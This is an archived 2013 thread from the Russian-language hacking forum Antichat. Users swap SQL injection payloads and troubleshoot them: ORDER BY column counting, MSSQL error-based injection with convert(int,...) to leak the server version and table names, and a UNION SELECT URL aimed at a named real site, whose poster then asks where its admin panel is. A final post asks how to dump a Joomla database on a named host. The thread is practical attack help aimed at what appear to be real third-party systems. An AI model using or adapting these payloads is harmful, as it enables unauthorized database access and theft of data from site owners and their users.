ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
07.10.2013, 13:53
|
|
Участник форума
Регистрация: 10.01.2013
Сообщений: 100
Провел на форуме:
18665
Репутация:
27
|
|
Привет. Есть скуля в пост запросе, отправляю через тампер дата. Не могу подобрать число столбов:
1'+order+by+100+--+ Unknown column '100' in 'order clause'
1'+order+by+1+--+ Unknown column '1' in 'order clause'
|
|
|
07.10.2013, 16:57
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
Провел на форуме:
182660
Репутация:
324
|
|
Что делать если MySQL v4.1.21 ??
Тупо перебор колонок непохек, надо чтото поинтереснее.
|
|
|
|
07.10.2013, 17:40
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
Провел на форуме:
132418
Репутация:
652
|
|
Сообщение от psihoz26
Что делать если MySQL v4.1.21 ??
Тупо перебор колонок непохек, надо чтото поинтереснее.
/thread43966.html
пункт 2.1.4 и, соответственно,подпункты.
|
|
|
|
07.10.2013, 17:42
|
|
Новичок
Регистрация: 29.10.2008
Сообщений: 1
Провел на форуме:
1034
Репутация:
0
|
|
Сообщение от Sanic1977
'%2bconvert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFO RMATION_SCHEMA.TABLES))%2b'
выдает ошибку
Subqueries are not allowed in this context. Only scalar expressions are allowed.
и как его обойти?
id=15&type='+convert(int,@@version)+'
выводит:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.
Кто сможет объяснить, как вывести имя таблиц и колонок?
|
|
|
|
07.10.2013, 17:51
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
Провел на форуме:
132418
Репутация:
652
|
|
Сообщение от Sanic1977
id=15&type='+convert(int,@@version)+'
выводит:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.
Кто сможет объяснить, как вывести имя таблиц и колонок?
Сообщение от None
id=15&type='+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--
В ответе должен получить что-то типа:
Сообщение от None
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value '
table_name
' to a column of data type int.
UPD
Читайте https://rdot.org/forum/showthread.php?t=826, там все расписано.
|
|
|
|
07.10.2013, 18:05
|
|
Новичок
Регистрация: 29.10.2008
Сообщений: 1
Провел на форуме:
1034
Репутация:
0
|
|
Сообщение от YaBtr
В ответе должен получить что-то типа:
UPD
Читайте https://rdot.org/forum/showthread.php?t=826, там все расписано.
на запрос id=15&type='+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMAT ION_SCHEMA.TABLES)--
получаю
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'or'.
|
|
|
|
07.10.2013, 21:38
|
|
Новичок
Регистрация: 03.10.2013
Сообщений: 1
Провел на форуме:
305
Репутация:
0
|
|
скулю раскрутил, только вот админку не могу найти( мож кто знает где она?
ArxSS и всякие онлайн сканеры не помогают
Код HTML:
http://www.scrutineer.ru/results.php?id=0+union+select+1,2,3,4,5,6,7,table_name+from+information_schema.tables+limit+17,1+--+
|
|
|
|
07.10.2013, 22:11
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0
Репутация:
0
|
|
Сообщение от Always
100 не предел!
Что значит не предел???наверно тут один и тот же параметр попадает сразу в несколько запросов
|
|
|
|
08.10.2013, 16:54
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
Провел на форуме:
182660
Репутация:
324
|
|
Сообщение от YaBtr
/thread43966.html
пункт 2.1.4 и, соответственно,подпункты.
осутствует information_schema или не хватает пра для её просморта
|
|
|
|
09.10.2013, 15:10
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
Провел на форуме:
5866479
Репутация:
1809
|
|
Ребят, подскажите как слить базу данных jumla имея логин, пароль и имя базы? Хостинг Timeweb.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
